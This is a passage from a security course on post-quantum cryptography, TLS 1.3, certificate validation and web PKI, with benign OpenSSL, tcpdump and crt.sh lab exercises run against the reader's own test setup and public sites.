Much smaller than ML-DSA (≈ 666-byte signature, 897-byte key at level 1), which is attractive for bandwidth-constrained protocols. But signing needs careful floating-point / Gaussian-sampling code that is very hard to make constant-time — a side-channel minefield. Still in draft. Wait for the standard and vetted implementations unless you have a specific, reviewed need.

HQC — the code-based backup KEM

Selected March 2025 as a second KEM standard, on error-correcting-code maths (decoding a random linear code is NP-hard) — completely different from lattices. Larger keys/ciphertexts than ML-KEM (public key ~2.2–7.2 KB depending on level). Its job is insurance: if a devastating attack on Module-LWE ever appears, HQC is ready. Standard expected 2026–2027.

The decision table

   NEED                         USE (2026)                    HEDGE / NOTES
   ----                         ----------                    -------------
   TLS / key exchange           HYBRID: X25519 + ML-KEM-768   (Chapter 25)
   General-purpose signature    ML-DSA-65                      or hybrid w/ Ed25519
   Firmware / boot / root CA    SLH-DSA (or LMS/XMSS if        conservative,
                                stateful mgmt is airtight)     hash-only
   Bandwidth-critical sig       wait for FN-DSA standard       ML-DSA meanwhile
   Backup KEM / crypto-agility  keep HQC on the roadmap        different maths
   Symmetric / hashing          AES-256, SHA-384+             no PQC needed

Chapter 25 — Hybrid mode, crypto-agility, and how to migrate

Why hybrid, not replace

The PQC algorithms are new. Lattice cryptanalysis is an active field. A catastrophic classical break of ML-KEM in 2027 is unlikely but not impossible — and it would be far worse to have bet everything on it.

   HYBRID KEY EXCHANGE

     shared_secret = KDF( X25519_secret  ||  ML-KEM-768_secret )

   To break this, an attacker must break BOTH:
     * X25519  -- needs a quantum computer
     * ML-KEM  -- needs a classical break of Module-LWE

   Safe as long as EITHER remains unbroken. You only lose if both fall.

This is why the real-world rollout is named X25519MLKEM768, not MLKEM768 alone. Chrome, Firefox, Cloudflare, AWS, and Google have had hybrid key exchange on by default for most TLS 1.3 connections since 2024–2025. If you use a modern browser, you're already doing post-quantum key exchange on many sites.

   Check your own browser: visit  pq.cloudflareresearch.com
   or run:  openssl s_client -connect cloudflare.com:443 -groups X25519MLKEM768
            then look for  "Negotiated TLS1.3 group: X25519MLKEM768"

For signatures, hybrid is messier (two signatures = two failure modes to validate, bigger chains) and the HNDL urgency isn't there, so most deployments are waiting or doing classical-now / PQC-ready.

Crypto-agility — the real lesson

The deeper takeaway from this whole Part: the specific algorithm will change again. Systems that hard-coded "RSA-2048" or "SHA-1" needed painful surgery. Design so the next transition is easy.

   CRYPTO-AGILITY CHECKLIST

   [ ] Algorithms named in CONFIG, not compiled into logic.
   [ ] Every stored ciphertext / hash / signature carries an ALGORITHM ID
       and VERSION prefix, so you can tell old from new and migrate lazily.
         e.g.  v2:mlkem768:<data>     $argon2id$v=19$...   (Ch 10 does this)
   [ ] Key storage abstracted behind an interface (KMS/HSM), so key type
       is swappable.
   [ ] You can run TWO algorithms in parallel during a migration window
       (decrypt-with-either, verify-either, write-with-new).
   [ ] A documented, current CRYPTO INVENTORY: every algorithm, key size,
       key location, expiry, and owner. (You can't migrate what you can't see.)
   [ ] Certificate/key rotation is already automated and routine -- if
       rotating a key is scary, migration will be a disaster.
   [ ] Third-party dependencies audited for buried crypto (that old JWT
       library, the device SDK, the payment gateway).

The migration playbook

   PHASE 0  INVENTORY (do this now, regardless of timeline)
            - enumerate every use of asymmetric crypto: TLS, SSH, VPN, JWT,
              code signing, DB/disk encryption key wrapping, backups, mTLS,
              document signing, firmware.
            - for each: algorithm, key size, key location, data lifetime,
              is it HNDL-sensitive?

   PHASE 1  PRIORITISE by (data-secrecy-lifetime) x (exposure)
            - long-lived confidential data over untrusted networks first
            - then authentication/signing
            - symmetric: just confirm AES-256 / SHA-384+ everywhere

   PHASE 2  UPGRADE THE PLUMBING
            - get to TLS 1.3, modern libraries (OpenSSL 3.5+, BoringSSL,
              Go 1.24+, rustls) that support ML-KEM
            - achieve crypto-agility (checklist above) -- this is most of
              the work and it's valuable even if PQC never mattered

   PHASE 3  ENABLE HYBRID KEY EXCHANGE
            - X25519MLKEM768 on TLS endpoints (often one config line or a
              library upgrade)
            - measure: handshake size, latency, CPU, and
              middlebox/"protocol ossification" breakage on old kit

   PHASE 4  PQC SIGNATURES / CERTIFICATES
            - as CAs and standards mature; test ML-DSA cert chains
            - firmware/boot signing -> SLH-DSA or stateful hash-based now
              (long device lifetimes, can't easily update the verifier)

   PHASE 5  DEPRECATE classical-only paths per the NIST/NCSC dates.

   shop.securesh.op  (customer TLS)
     -> Phase 3 now: enable X25519MLKEM768. Card data + PII crossing the
        internet is HNDL-sensitive (PCI + GDPR, 7-year retention).

   orders-api <-> database  (internal mTLS)
     -> internal network, shorter data-at-rest exposure, but backups live
        for years -> Phase 3 soon; ensure backup encryption uses AES-256
        with keys wrapped by a KMS you can re-wrap.

   deploy signing  (the Ch 22 release tool)
     -> Phase 4: plan ML-DSA-65 signatures; keep Ed25519 in hybrid until
        the toolchain is proven. Not HNDL-urgent.

   admin SSO / JWT (RS256)
     -> tokens live minutes; low HNDL risk. Migrate with the library
        upgrade cycle, not as an emergency.

   secure boot on the warehouse scanners (IoT)
     -> Phase 4 priority despite low data sensitivity: 10-year field life,
        no practical way to update the bootloader's trust anchor later
        -> SLH-DSA now.

   1. Pick a system you know (a repo, a service, your home lab).
   2. Grep for crypto: `rsa`, `ec`, `ed25519`, `x25519`, `aes`, `sha`,
      `jwt`, `tls`, `ssl`, `certificate`, `PRIVATE KEY`, `KMS`, `bcrypt`.
      Check: TLS config, SSH config, CI secrets, IaC, container base images,
      language crypto calls, dependency lockfiles.
   3. Build a table: component | algorithm | key size | key location |
      data lifetime | HNDL-sensitive? | migration phase | owner.
   4. Identify the top 3 items to migrate first and justify the ordering
      using (secrecy-lifetime x exposure x difficulty-to-change-later).
   5. For one TLS endpoint, actually test hybrid:
        openssl s_client -connect <host>:443 -groups X25519MLKEM768 -brief
      (needs OpenSSL 3.5+). Record whether it negotiated.

Chapter 26 — Hands-on: post-quantum with OpenSSL and liboqs

Why this chapter exists

You should touch the real thing once: generate an ML-KEM keypair, do an encapsulation, sign with ML-DSA, and negotiate a hybrid TLS handshake. Then it stops being abstract.

Getting a PQC-capable toolchain

   OPTION A -- OpenSSL 3.5+ (LTS, released April 2025)
     Native ML-KEM, ML-DSA, and SLH-DSA. No extra provider needed.
       brew install openssl@3        # ensure >= 3.5
       openssl list -kem-algorithms       | grep -i mlkem
       openssl list -signature-algorithms | grep -i -E 'ml-dsa|slh-dsa'

   OPTION B -- Open Quantum Safe provider (works with OpenSSL 3.0-3.4,
               and adds HQC, FN-DSA, and hybrids not yet in core)
       brew install liboqs oqs-provider     # or build from source
       openssl list -providers -provider oqsprovider
       # add to openssl.cnf, or pass:  -provider oqsprovider -provider default

   OPTION C -- language libraries
       Python:  pip install quantcrypt      (wraps liboqs)
       Go:      filippo.io/mlkem768, or Go 1.24+ crypto/mlkem
       Rust:    the `ml-kem` and `ml-dsa` crates (RustCrypto)

This machine: openssl version here reports LibreSSL 3.3.6, which has no PQC support at all. Every command below needs OpenSSL 3.5+ or the OQS provider. Install one before running them — this is the §0.4 trap in its final form.

1. ML-KEM: generate, encapsulate, decapsulate

mkdir -p ~/sec-lab/pqc && cd ~/sec-lab/pqc

# Recipient generates a keypair
openssl genpkey -algorithm ML-KEM-768 -out mlkem_sk.pem
openssl pkey -in mlkem_sk.pem -pubout -out mlkem_pk.pem
wc -c mlkem_sk.pem mlkem_pk.pem          # note the ~1.2 KB public key

# Sender encapsulates: produces a ciphertext + a shared secret
openssl pkeyutl -encap -inkey mlkem_pk.pem -pubin \
        -out ct.bin -secret sender_secret.bin

# Recipient decapsulates: recovers the SAME shared secret
openssl pkeyutl -decap -inkey mlkem_sk.pem \
        -in ct.bin -secret recipient_secret.bin

xxd sender_secret.bin
xxd recipient_secret.bin
cmp sender_secret.bin recipient_secret.bin && echo "SHARED SECRETS MATCH"
ls -l ct.bin                              # ~1088 bytes for ML-KEM-768

Feed that 32-byte secret through HKDF (Chapter 22, step 4) to get AEAD keys — exactly as you would with an X25519 secret.

2. ML-DSA: sign and verify

cd ~/sec-lab/pqc
openssl genpkey -algorithm ML-DSA-65 -out mldsa_sk.pem
openssl pkey -in mldsa_sk.pem -pubout -out mldsa_pk.pem

echo "release 6.0.0 -- first post-quantum build" > rel.txt
openssl pkeyutl -sign   -inkey mldsa_sk.pem -rawin -in rel.txt -out rel.sig
openssl pkeyutl -verify -pubin -inkey mldsa_pk.pem -rawin -in rel.txt \
        -sigfile rel.sig

ls -l rel.sig            # ~3.3 KB -- compare to 64 bytes for Ed25519
# tamper -> verification fails
echo "release 6.0.0 -- backdoored" > rel.txt
openssl pkeyutl -verify -pubin -inkey mldsa_pk.pem -rawin -in rel.txt \
        -sigfile rel.sig

3. SLH-DSA: the conservative signer (feel the cost)

cd ~/sec-lab/pqc
time openssl genpkey -algorithm SLH-DSA-SHA2-128s -out slh_sk.pem
openssl pkey -in slh_sk.pem -pubout -out slh_pk.pem
wc -c slh_pk.pem                         # tiny -- ~32 bytes of key material

echo "firmware image v3" > fw.txt
time openssl pkeyutl -sign -inkey slh_sk.pem -rawin -in fw.txt -out fw.sig
ls -l fw.sig                             # ~7.8 KB signature
time openssl pkeyutl -verify -pubin -inkey slh_pk.pem -rawin -in fw.txt \
        -sigfile fw.sig

Note the numbers: sub-32-byte key, ~8 KB signature, slow sign, fast-ish verify. That profile is why SLH-DSA belongs on firmware, not TLS.

4. Hybrid post-quantum TLS handshake

# --- server: a throwaway self-signed cert is fine for this test ---
cd ~/sec-lab/pqc
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:P-256 -nodes \
        -keyout srv.key -out srv.crt -days 1 -subj "/CN=localhost"

openssl s_server -accept 4433 -cert srv.crt -key srv.key \
        -groups X25519MLKEM768 -tls1_3 -www &
SERVER=$!
sleep 1

# --- client: force the hybrid group and report what was negotiated ---
echo | openssl s_client -connect localhost:4433 \
        -groups X25519MLKEM768 -tls1_3 2>/dev/null \
        | grep -E "Negotiated TLS1.3 group|Cipher|Protocol"

kill $SERVER

# --- against the real internet ---
echo | openssl s_client -connect cloudflare.com:443 \
        -groups X25519MLKEM768 2>/dev/null \
        | grep -E "Negotiated TLS1.3 group|New, TLSv1.3"

You should see Negotiated TLS1.3 group: X25519MLKEM768. You just did a post-quantum key exchange.

5. Benchmark PQC vs classical

openssl speed -provider default ml-kem-768 x25519 2>/dev/null | tail -6
openssl speed ml-dsa-65 ed25519 ecdsap256 2>/dev/null | tail -8

Typical findings: ML-KEM-768 is faster than X25519 for the operation itself; the cost is bytes on the wire, not CPU. ML-DSA-65 signing is fast; its signatures are large. SLH-DSA signing is genuinely slow.

   1. Add an algorithm field to the manifest header:
        {"sig_alg": "ed25519", ...}   or   {"sig_alg": "ml-dsa-65", ...}
        or  {"sig_alg": "hybrid-ed25519-mldsa65", ...}
   2. `keygen --alg <alg>` generates the right keypair(s).
   3. `sign` writes the sig_alg into the manifest and produces the
      matching signature(s). For hybrid: TWO signatures, both over the
      same manifest bytes.
   4. `verify`:
        - reads sig_alg from the manifest
        - for hybrid, requires BOTH signatures to verify
        - refuses unknown algorithms (fail closed)
   5. Test migration: sign a release with ed25519, then re-sign the SAME
      artifacts as hybrid, and confirm an old ed25519-only verifier still
      accepts the ed25519 signature while a new verifier checks both.
   6. Record signature sizes and sign/verify timings for each alg in a
      README table.

   Keep it under ~150 lines. This is a genuine pattern -- Sigstore,
   apt, and TLS libraries all carry an algorithm identifier for exactly
   this reason.

Chapter 27 — What HTTPS actually guarantees (and what it doesn't)

   You type http://bank.example and hit enter. Between you and the server:

     your laptop -> home router -> ISP -> transit networks -> hosting -> server

   On plain HTTP, ANY hop can:
     * READ everything      -- passwords, cookies, page contents
     * MODIFY everything    -- inject ads, malware, change bank details
     * IMPERSONATE the site -- you have no way to tell
     * REPLAY requests

What TLS adds

   CONFIDENTIALITY   an eavesdropper sees only which SERVER you connected to
                     (IP, and the hostname via SNI/DNS) and rough traffic
                     SIZE and TIMING. Not the URL path, not headers, not body.

   INTEGRITY         any modification in transit is detected and the
                     connection is torn down (AEAD tag failure, Ch 15).

   SERVER            you are cryptographically sure you're talking to the
   AUTHENTICATION    holder of the private key for a certificate that a
                     trusted CA issued for THIS hostname (Ch 29).

   FORWARD SECRECY   (TLS 1.3, always) recording today + stealing the key
                     later does not decrypt past sessions (Ch 18).

What TLS does NOT give you

This list matters as much as the previous one:

   [ ] It does not make the SERVER trustworthy. HTTPS to a phishing site is
       still a phishing site -- with a valid padlock. "Secure" != "safe".

   [ ] It does not hide WHICH site you visit. The destination IP is visible;
       the hostname leaks via the DNS lookup and via the TLS SNI field
       (unless Encrypted Client Hello / ECH is in use -- still rolling out).

   [ ] It does not protect data BEFORE or AFTER the tunnel. The server
       decrypts everything. Logs, backups, a breached database, a rogue
       admin, a subpoena -- all outside TLS's scope. (End-to-end encryption
       is a different, stronger property.)

   [ ] It does not authenticate the CLIENT by default. The server rarely
       knows who you are from TLS alone (mTLS is opt-in -- Ch 31).

   [ ] It does not stop application bugs. SQL injection, XSS, broken authz
       all travel happily inside a perfect TLS tunnel (Part 10).

   [ ] It does not defend against a MALICIOUS or MIS-ISSUED certificate,
       except that Certificate Transparency makes mis-issuance detectable
       after the fact (Ch 30).

   [ ] It does not hide traffic ANALYSIS. Packet sizes and timing can reveal
       which page you loaded, what video you're streaming, or what you typed.

"The padlock means it's safe" — the enduring myth

   The padlock means: the connection to THIS server is encrypted and the
   server proved control of a certificate for THIS domain name.

   The padlock does NOT mean: the site is legitimate, honest, competent,
   or not run by criminals.

   Today the MAJORITY of phishing sites use HTTPS (free certs from ACME
   CAs). Browsers removed the word "Secure" from the address bar precisely
   because users read it as "trustworthy".

The relationship to HTTP

   HTTPS = HTTP  +  TLS  +  (default port 443 instead of 80)

     Application:  HTTP/1.1, HTTP/2, or HTTP/3
     Security:     TLS 1.2 or 1.3   (TLS 1.3 for HTTP/2 in practice;
                                     HTTP/3 uses QUIC, which embeds TLS 1.3)
     Transport:    TCP (h1, h2)  or  UDP+QUIC (h3)

TLS is a generic secure-channel protocol. It also wraps SMTP, IMAP, LDAP, gRPC, MQTT, syslog, and more. HTTPS is just its most visible user.

mkdir -p ~/sec-lab/scratch && cd ~/sec-lab/scratch

# 1. See plain HTTP in the clear (a deliberately-plaintext test host)
curl -v http://neverssl.com 2>&1 | head -20
# every header and byte here is visible to every hop

# 2. See what an eavesdropper learns from an HTTPS connection: the SNI
#    (hostname in the ClientHello) is currently NOT encrypted
sudo tcpdump -i any -n -A 'tcp port 443' -c 40 2>/dev/null | grep -a -i -E 'example|wikipedia' &
curl -s https://en.wikipedia.org/wiki/Transport_Layer_Security -o /dev/null
sleep 1; sudo pkill tcpdump 2>/dev/null
# you'll spot the hostname in the ClientHello, but nothing else

# 3. The padlock proves domain control, not honesty:
echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \
  | openssl x509 -noout -subject -issuer -dates

Chapter 28 — The TLS 1.3 handshake, step by step

Why TLS 1.3 and not 1.2

Use TLS 1.3. Support 1.2 only for legacy clients. Disable 1.0 and 1.1 (dead since 2021) and SSLv3 (dead since 2015).

The five TLS 1.3 cipher suites (the whole list)

   TLS_AES_128_GCM_SHA256          <- mandatory to implement
   TLS_AES_256_GCM_SHA384         <- prefer this (Ch 23: 256-bit for PQ)
   TLS_CHACHA20_POLY1305_SHA256   <- prefer on devices without AES-NI
   TLS_AES_128_CCM_SHA256         <- constrained / IoT
   TLS_AES_128_CCM_8_SHA256       <- constrained, short tag (avoid if you can)

Notice a suite name no longer bundles a key exchange or a signature algorithm — those are negotiated separately in TLS 1.3. A suite is just AEAD + hash.

The handshake, message by message

   CLIENT                                                    SERVER
   ------                                                    ------

   ClientHello  ------------------------------------------->
     - TLS version(s) supported (pretends 1.2 for middleboxes,
       signals 1.3 via "supported_versions" extension)
     - client random (32 bytes)
     - list of cipher suites
     - "key_share": client's EPHEMERAL ECDHE public key(s),
        e.g. X25519 -- sent NOW, as a guess, to save a round trip
     - "supported_groups", "signature_algorithms"
     - SNI: the hostname it wants (server_name extension)
     - optional: PSK / session ticket for resumption, early_data

                <------------------------------------------- ServerHello
                  - chosen cipher suite
                  - server random (32 bytes)
                  - "key_share": server's ephemeral ECDHE public key

   *** Both sides now run ECDHE -> shared secret -> HKDF ->
       a set of keys. EVERYTHING BELOW THIS LINE IS ENCRYPTED. ***

                <------------------------------------------- {EncryptedExtensions}
                <------------------------------------------- {Certificate}
                  - the server's certificate chain (leaf + intermediates)
                <------------------------------------------- {CertificateVerify}
                  - a SIGNATURE, with the cert's private key, over a
                    transcript hash of the handshake so far.
                    THIS is what proves the server holds the private key
                    for the cert -- ties identity to this exact session.
                <------------------------------------------- {Finished}
                  - HMAC over the whole transcript (integrity of the
                    handshake itself; downgrade/tamper protection)

   {Finished}   ------------------------------------------->
                  - client's transcript HMAC

   [Application Data] <====================================> [Application Data]
     HTTP requests/responses, protected by the negotiated AEAD

{ } = encrypted with handshake keys. [ ] = encrypted with application keys. One round trip from ClientHello to sending real data.

What each cryptographic piece is doing

   client/server randoms  -> ensure each handshake is unique (anti-replay
                             into the key schedule)
   ECDHE key_share         -> forward-secret shared secret (Ch 18, 20)
   HKDF key schedule       -> derives distinct keys for handshake, application,
                             each direction, plus exporter/resumption secrets
   Certificate             -> "here is my identity" (Ch 29)
   CertificateVerify       -> "and I can prove I own it, RIGHT NOW, for THIS
                             handshake" (signature over the transcript)
   Finished (both sides)   -> "the handshake you saw is the handshake I saw"
                             -> defeats downgrade and tampering

The combination is what stops a man-in-the-middle: an attacker can relay bytes, but cannot produce a valid CertificateVerify for the real domain (no private key) and cannot forge the Finished MAC (no keys).

0-RTT resumption (and its one danger)

If the client has a PSK/ticket from a previous session, it can send application data in the very first flight ("early data", 0-RTT):

   + zero round trips before the first request -- great for latency

   - REPLAYABLE. An attacker who captures the 0-RTT data can re-send it.
     For a GET it's usually harmless; for "POST /transfer" it is not.

   Rule: only allow 0-RTT for idempotent, non-state-changing requests.
   Most servers restrict it to GET/HEAD or disable it. Know your config.

Where each Part's concepts show up

   Part 3 (hashing)      -> transcript hash, HKDF, Finished HMAC
   Part 4 (AEAD)         -> the record protection (AES-GCM / ChaCha20-Poly1305)
   Part 5 (asymmetric)   -> ECDHE key exchange + certificate signature
   Part 6 (PQC)          -> key_share can be X25519MLKEM768 (hybrid)
   Part 7 (this)         -> the choreography that assembles them safely

cd ~/sec-lab/scratch

# 1. Watch a full handshake in detail
openssl s_client -connect wikipedia.org:443 -servername wikipedia.org \
        -tls1_3 -msg -state 2>&1 | sed -n '1,60p'

# 2. Force each version and see what negotiates / fails
for v in tls1_3 tls1_2 tls1_1; do
  echo "--- $v ---"
  echo | openssl s_client -connect wikipedia.org:443 -servername wikipedia.org \
        -$v 2>&1 | grep -E "Protocol|Cipher|handshake failure|no protocols"
done

# 3. See the key exchange group (forward secrecy in action)
echo | openssl s_client -connect wikipedia.org:443 -servername wikipedia.org \
        2>&1 | grep -E "Server Temp Key|Negotiated .* group"

# 4. Capture a handshake and read it in Wireshark
sudo tcpdump -i any -w /tmp/tls13.pcap 'tcp port 443' -c 60 &
curl -s https://wikipedia.org -o /dev/null; sleep 1; sudo pkill tcpdump
echo "open /tmp/tls13.pcap in Wireshark; filter: tls.handshake"
# In TLS 1.3 you'll see ClientHello and ServerHello in the clear,
# then everything else shows as 'Application Data' -- because the
# rest of the handshake is already encrypted.

# 5. TLS 1.3 with a keylog, so Wireshark CAN decrypt (your own traffic only)
SSLKEYLOGFILE=/tmp/keys.log curl -s https://wikipedia.org -o /dev/null
# In Wireshark: Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log
#   filename = /tmp/keys.log   -> now the encrypted handshake decrypts

Chapter 29 — Certificates and how validation works

What's in a certificate

   openssl x509 -in cert.pem -noout -text

   Version:               v3
   Serial Number:         (unique per issuer -- appears in CT logs, CRLs)
   Signature Algorithm:   ecdsa-with-SHA256   (how the ISSUER signed this)
   Issuer:                CN = Some Issuing CA, O = Some CA Inc
   Validity:
       Not Before:        2026-01-01
       Not After:         2026-04-01           (90 days -- typical now)
   Subject:               CN = shop.securesh.op   (legacy; often just a dummy)
   Subject Public Key:    id-ecPublicKey, prime256v1, <the actual public key>
   X509v3 extensions:
     Subject Alternative Name (SAN):            <-- THIS is what browsers check
         DNS:shop.securesh.op, DNS:www.securesh.op
     Key Usage:                critical, Digital Signature
     Extended Key Usage:       TLS Web Server Authentication
     Basic Constraints:        critical, CA:FALSE
     Authority Key Identifier: <points at the issuer's key>
     CRL Distribution Points:  <where to fetch revocation list>
     Authority Information Access:  OCSP -- <responder URL>
     CT Precertificate SCTs:   <signed proofs of CT log inclusion>
   Signature:               <the issuer's signature over all of the above>

The Common Name (CN) is legacy and ignored by modern browsers. Hostname matching uses the Subject Alternative Name extension only. A cert with a CN but no SAN is rejected.

The chain of trust

   ROOT CA               "SSL.com TLS ECC Root CA 2022"
     (self-signed; its public key ships in your OS / browser TRUST STORE)
        | signs
        v
   INTERMEDIATE CA       "Some TLS Issuing ECC CA 3"
     (kept online to do day-to-day issuance; root stays offline in an HSM)
        | signs
        v
   LEAF / END-ENTITY     "shop.securesh.op"
     (what your server presents; valid ~90 days)

   The server sends LEAF + INTERMEDIATE(S). The client already has the ROOT.
   The client verifies each signature up the chain until it reaches a
   trusted root. A missing intermediate is the #1 "works in Chrome, fails
   in curl" bug -- Chrome caches intermediates, curl doesn't.

What the client actually checks

Every one of these must pass:

   1. SIGNATURES        each cert is validly signed by the next one up,
                        chaining to a root in the local trust store.
   2. NAME              the hostname you asked for matches a SAN DNS entry
                        (wildcards: *.example.com matches a.example.com but
                        NOT example.com and NOT a.b.example.com).
   3. TIME              now is within Not Before .. Not After, for every
                        cert in the chain.
   4. BASIC CONSTRAINTS every non-leaf has CA:TRUE and an adequate
                        pathlen; the leaf has CA:FALSE (stops a leaf being
                        used to sign other certs -- the old Moxie
                        "null-prefix" / basicConstraints bugs).
   5. KEY USAGE / EKU   the leaf permits "TLS Web Server Authentication".
   6. REVOCATION        the cert hasn't been revoked (CRL / OCSP / stapling
                        -- see Ch 30; enforcement varies, and that's a
                        genuine weakness).
   7. (browsers) CT     the cert has enough Signed Certificate Timestamps
                        proving it was logged (Ch 30).
   8. (optional) PINNING the key/cert matches a pin you pre-configured.

If any check fails, the connection is refused. There is no "ignore once" in protocols — only browsers offer a click-through, and HSTS (Ch 31) removes even that.

Certificate types by validation level

   DV  Domain Validated      CA checks you control the domain (an ACME
                             challenge, an email, a DNS record). Minutes,
                             free. ~Almost all certs. Says NOTHING about
                             who runs the site.

   OV  Organisation Validated CA also checks the org exists. Shown only if
                             you dig into cert details. Marginal value.

   EV  Extended Validation   Heavy vetting of the legal entity. Used to
                             give a green bar with company name; browsers
                             REMOVED that UI (users ignored it, and it
                             gave false assurance). Largely pointless now.

The lesson from Chapter 27 restated: the certificate proves domain control, not trustworthiness. DV is the norm and that's fine.

How name matching goes wrong (real bugs)

   * Accepting the CN when there's no SAN                    (pre-2017 clients)
   * Wildcard too broad: a cert for *.example.com on a
     shared host lets any subdomain's operator MITM the others
   * NUL byte: CN = "www.good.com\0.evil.com" -- old parsers
     stopped at the NUL and saw "www.good.com"              (Moxie, 2009)
   * IP address in URL but only DNS SANs in cert
   * Internationalised domain / homoglyph SANs               (Ch 7)
   * Not checking the chain at all -- the classic
     "curl | verify=False" / "TrustManager that returns void"
     app bug. Whole libraries shipped this. (Ch 31 revisits.)

cd ~/sec-lab/scratch

# 1. Pull a real chain and inspect every cert in it
openssl s_client -connect wikipedia.org:443 -servername wikipedia.org \
        -showcerts </dev/null 2>/dev/null > chain.pem
awk 'BEGIN{c=0} /BEGIN CERT/{c++} {print > ("c" c ".pem")}' chain.pem
for f in c*.pem; do
  echo "=== $f ==="
  openssl x509 -in "$f" -noout -subject -issuer -dates \
    -ext subjectAltName 2>/dev/null
done

# 2. Verify a chain yourself, explicitly
openssl verify -show_chain -untrusted <(cat c2.pem c3.pem 2>/dev/null) c1.pem \
  2>&1 || true

# 3. Make your own mini-CA and issue a leaf (you'll reuse this in Ch 31/32)
mkdir -p ~/sec-lab/ca && cd ~/sec-lab/ca
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out ca.key
openssl req -x509 -new -key ca.key -sha256 -days 3650 \
        -subj "/CN=SecureShop Dev Root" \
        -addext "basicConstraints=critical,CA:TRUE,pathlen:0" \
        -addext "keyUsage=critical,keyCertSign,cRLSign" -out ca.crt

openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out shop.key
openssl req -new -key shop.key -subj "/CN=shop.securesh.op" \
        -addext "subjectAltName=DNS:shop.securesh.op,DNS:www.securesh.op" \
        -out shop.csr

openssl x509 -req -in shop.csr -CA ca.crt -CAkey ca.key -CAcreateserial \
        -days 90 -sha256 -copy_extensions copy \
        -extfile <(printf "basicConstraints=critical,CA:FALSE\nkeyUsage=critical,digitalSignature\nextendedKeyUsage=serverAuth\nsubjectAltName=DNS:shop.securesh.op,DNS:www.securesh.op") \
        -out shop.crt

openssl verify -CAfile ca.crt shop.crt        # -> shop.crt: OK
openssl x509 -in shop.crt -noout -text | grep -A1 "Alternative"

# 4. Break it on purpose:
#    - issue a leaf whose SAN doesn't match the hostname you test with
#    - set Not After in the past (-days -1) and watch verify fail
#    - drop CA:FALSE and note the leaf could sign other certs

Chapter 30 — PKI: certificate authorities, transparency, revocation, ACME

The trust store: where "trusted" comes from

   Your OS/browser ships a ROOT STORE: a few hundred CA root certificates,
   curated by ROOT PROGRAMS -- Mozilla (the de facto standard), Microsoft,
   Apple, Google, Chrome.

   To get in, a CA must pass annual audits (WebTrust / ETSI), follow the
   CA/Browser Forum "Baseline Requirements", and stay out of trouble.

   To be REMOVED (it happens): mis-issue certs, lie about it, or run sloppy
   infrastructure. DigiNotar (2011, hacked, issued fake *.google.com ->
   dead within weeks). Symantec (2017-18, years of misissuance -> entire
   root distrusted, business sold). TrustCor (2022, opaque ownership ->
   removed).

Any CA in the store can issue a cert for any domain. That's the PKI's original sin: your security depends on all ~50 CAs, not just the one you chose. The mechanisms below exist to contain that.

Certificate Transparency (CT)

Since ~2018, browsers reject certificates that aren't logged in public, append-only CT logs.

   CA issues a cert  ->  submits it to >= 2 independent CT logs
                     ->  each log returns a Signed Certificate Timestamp (SCT)
                     ->  SCTs are embedded in the cert (or stapled)
   Browser  ->  refuses the cert unless it carries enough valid SCTs

   RESULT: every publicly-trusted certificate is publicly visible.
   Domain owners (and researchers) MONITOR the logs and get alerted to
   unexpected certs for their domains -- turning silent mis-issuance into
   a loud, detectable event, usually within minutes.

   # See every cert ever logged for a domain:
   curl -s 'https://crt.sh/?q=%25.wikipedia.org&output=json' | head -c 2000
   # Set up monitoring: crt.sh RSS, or Cloudflare/Meta/Cert Spotter alerts,
   # or run your own with certstream.

CT doesn't prevent mis-issuance; it makes it undeniable and fast to catch. That's been enough to keep CAs disciplined.

Revocation: the part that doesn't really work

If a private key leaks or a cert was mis-issued, you want to revoke it. Three mechanisms, all flawed:

   CRL (Certificate Revocation List)
     A signed list of revoked serials, published by the CA. Can be huge
     (megabytes). Clients rarely fetch them in real time.

   OCSP (Online Certificate Status Protocol)
     Client asks the CA "is serial 12345 still good?" per connection.
     Problems: latency, a privacy leak (the CA learns which sites you
     visit), and -- fatally -- most clients "soft-fail": if the OCSP
     responder is unreachable, they proceed anyway. An attacker who can
     MITM can just block OCSP. So OCSP provides little real security.
     (Let's Encrypt ENDED OCSP service in 2025.)

   OCSP STAPLING
     The SERVER fetches its own OCSP response periodically and "staples"
     it into the handshake. Fixes latency and privacy. But it's optional
     unless the cert has the "must-staple" flag (rarely used).

   WHAT ACTUALLY WORKS TODAY:
     * SHORT-LIVED CERTS. 90-day (moving to 47-day by 2029, per CA/B Forum)
       and even ~7-day certs mean a leaked key is only useful briefly.
       Expiry IS the revocation strategy.
     * Browser-pushed lists: Chrome CRLSets, Mozilla CRLite -- the CA
       ecosystem's revocations, compressed and shipped with the browser.

Takeaway: don't rely on revocation catching a compromise. Rely on short lifetimes, automation, and detection.

ACME and Let's Encrypt

ACME (RFC 8555) is the protocol that automated certificate issuance and killed the "expired cert" outage as a common event.

   1. Your ACME client (certbot, acme.sh, lego, Caddy, cert-manager,
      Traefik) generates a key and a CSR.
   2. It asks the CA (Let's Encrypt, ZeroSSL, Google Trust Services...)
      for a cert for example.com.
   3. The CA issues a CHALLENGE proving you control the domain:
        HTTP-01: serve a token at http://example.com/.well-known/acme-challenge/<t>
        DNS-01:  publish a TXT record _acme-challenge.example.com = <hash>
                 (this one can do WILDCARDS)
        TLS-ALPN-01: present a special cert on a TLS connection
   4. Client completes the challenge; CA verifies from multiple network
      vantage points (multi-perspective validation, to resist BGP hijacks).
   5. CA issues a 90-day cert. Client auto-renews at ~60 days. Forever.

   # The modern easy path -- Caddy does ACME automatically:
   #   caddy reverse-proxy --from shop.example --to localhost:8080
   # or certbot:
   #   sudo certbot --nginx -d shop.example -d www.shop.example

Let's Encrypt issues for hundreds of millions of domains. It made HTTPS free and automatic — which is why the web went from ~40% to ~95%+ HTTPS in a decade (and why phishing sites have padlocks too).

CAA records: telling CAs "only these may issue for me"

   DNS:  example.com.  CAA  0 issue "letsencrypt.org"
         example.com.  CAA  0 issuewild ";"     (no wildcards for anyone)
         example.com.  CAA  0 iodef "mailto:security@example.com"

CAs are required to check CAA before issuing. It's a cheap, strong control: even a compromised or tricked CA that isn't on your list must refuse. Set it.

cd ~/sec-lab/scratch

# 1. Certificate Transparency: every cert for a domain
curl -s 'https://crt.sh/?q=wikipedia.org&output=json' \
  | python3 -c "import json,sys; [print(r['not_before'][:10], r['issuer_name'][:40], r['name_value'][:60]) for r in json.load(sys.stdin)[:20]]"

# 2. Check a site's CAA records
